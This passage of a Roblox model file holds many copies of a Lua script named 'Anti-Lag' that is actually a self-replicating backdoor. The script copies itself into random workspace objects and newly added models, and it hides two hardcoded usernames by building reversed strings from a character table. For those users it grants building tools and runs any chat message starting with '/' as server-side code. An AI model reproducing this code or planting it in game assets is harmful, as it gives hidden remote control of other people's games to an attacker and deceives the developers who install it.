table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1757">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1758">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1759">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1760">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
						<Item class="Script" referent="RBX1761">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Anti-Lag</string>
								<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX1762">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1763">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1764">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1765">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
